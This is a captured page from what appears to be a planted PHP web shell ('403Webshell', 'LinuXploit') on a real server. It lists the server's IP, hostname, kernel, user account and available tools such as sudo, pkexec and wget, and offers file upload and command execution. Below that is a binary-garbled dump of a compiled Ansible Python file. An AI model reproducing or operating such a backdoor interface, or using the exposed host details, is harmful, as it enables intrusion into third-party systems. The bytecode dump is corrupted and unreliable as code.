403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/utils/__pycache__/galaxy.cpython-311.pyc
�

���cJ���ddlmZmZmZeZddlZddlZddlm	Z	m
Z
ddlZddlm
ZddlmZddlmZddlmZddlmZddlmZmZe��Zdd
�Zdd
�ZdS)�)�absolute_import�division�print_functionN)�Popen�PIPE)�context)�AnsibleError)�Display)�get_bin_path)�to_text�	to_native�HEADc�*�t|d||d���S)N�gitF)�scm�name�version�
keep_scm_meta)�scm_archive_resource)�srcrrs   �9/usr/lib/python3.11/site-packages/ansible/utils/galaxy.py�scm_archive_collectionr&s�����T�7�Z_�`�`�`�`�rFc�|�d�}|dvrtd|z���	t|��}n0#tttf$rtd|�d|�����wxYwtjtj���}|dg}tj
d}	|	r9|d	kr|�d
dg��n|dkr|�d
��|�||g��|||��|d	kr>|r<|dt|��g}
||
tj�||����tjddtj���}d}|r�t$�d|�d|�d|j����t+j|jd��5}
|
�tj�||��|���ddd��n#1swxYwYn�|dkr=|ddd|zg}|r|�d|g��|�|j��nD|d	kr>|dd|zd|jzg}|r|�|��n|�d��|�Gt$�d|z��||tj�||����|jS)Nc���	d}d}t||tt���}|���\}}nf#t$rY}d�|��}t
�d|z��td|�dt|�������d}~wwxYw|j	dkr@tdd�|���d	|�d
|j	�dt|�������dS)N�)�cwd�stdout�stderr� zran %s:zwhen executing z: rz
- command z failed in directory z (rc=z) - )
rr�communicate�	Exception�join�display�debugr	r
�
returncode)�cmd�tempdirrr�popen�e�rans       r�run_scm_cmdz)scm_archive_resource.<locals>.run_scm_cmd,s-��	N��F��F��#�7�4��E�E�E�E�"�.�.�0�0�N�F�F�F���	N�	N�	N��(�(�3�-�-�C��M�M�)�c�/�*�*�*��,�#�#�#�y��|�|�|�L�M�M�M�����	N������q� � ��,�UX�U]�U]�^a�Ub�Ub�Ub�Ub�dk�dk�dk�mr�m}�m}�m}�@I�JP�@Q�@Q�@Q� R�S�S�
S�!� s�8;�
B�AB�B)�hgrz#- scm %s is not currently supportedzcould not find/use z-, it is required to continue with installing )�dir�clone�ignore_certsrz-czhttp.sslVerify=falser-z
--insecure�checkoutFz.tar)�delete�suffixr.ztarring z from z to �w)�arcname�archivez--prefixz%s/z-rz--prefix=%s/z--output=%srzarchiving %s)r	r�
ValueError�OSError�IOError�tempfile�mkdtemp�C�DEFAULT_LOCAL_TMPr�CLIARGS�extend�appendr�os�pathr#�NamedTemporaryFiler$�vvvr�tarfile�open�add)rrrrrr,�scm_pathr(�	clone_cmdr0�checkout_cmd�	temp_file�archive_cmd�tars              rrr*sF��S�S�S��-����@�3�F�G�G�G�p���$�$�������)�p�p�p��l�eh�eh�eh�jm�jm�n�o�o�o�p������1�#6�7�7�7�G��7�#�I��?�>�2�L��+��%�<�<����d�$:�;�<�<�<�<�
�D�[�[����\�*�*�*�
���c�4�[�!�!�!��K�	�7�#�#�#�
�e�|�|��|� �*�g�g�.>�.>�?����L�"�'�,�,�w��"=�"=�>�>�>��+�5��Q�M`�a�a�a�I��K��'�����$�$�$�������P�Q�Q�Q�
�\�)�.�#�
.�
.�	?�#��G�G�B�G�L�L��$�/�/��G�>�>�>�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?����	?�	?�	?�	?��	������J����E���	0�����g��/�/�/����9�>�*�*�*�*�	������N�T�,A�=�S\�Sa�Ca�b���	'����w�'�'�'�'����v�&�&�&������N�[�0�1�1�1���K�����g�t�!<�!<�=�=�=��>�s�+�-A�6G�G�"G)Nr)rNrF)�
__future__rrr�type�
__metaclass__rAr:�
subprocessrrrE�ansible.constants�	constantsr<�ansibler�ansible.errorsr	�ansible.utils.displayr
�#ansible.module_utils.common.processr�+ansible.module_utils.common.text.convertersrr
r$rr�rr�<module>rZs��&C�B�B�B�B�B�B�B�B�B��
�	�	�	�	�����"�"�"�"�"�"�"�"�����������������'�'�'�'�'�'�)�)�)�)�)�)�<�<�<�<�<�<�J�J�J�J�J�J�J�J��'�)�)��a�a�a�a�A�A�A�A�A�Ar

Youez - 2016 - github.com/yon3zu
LinuXploit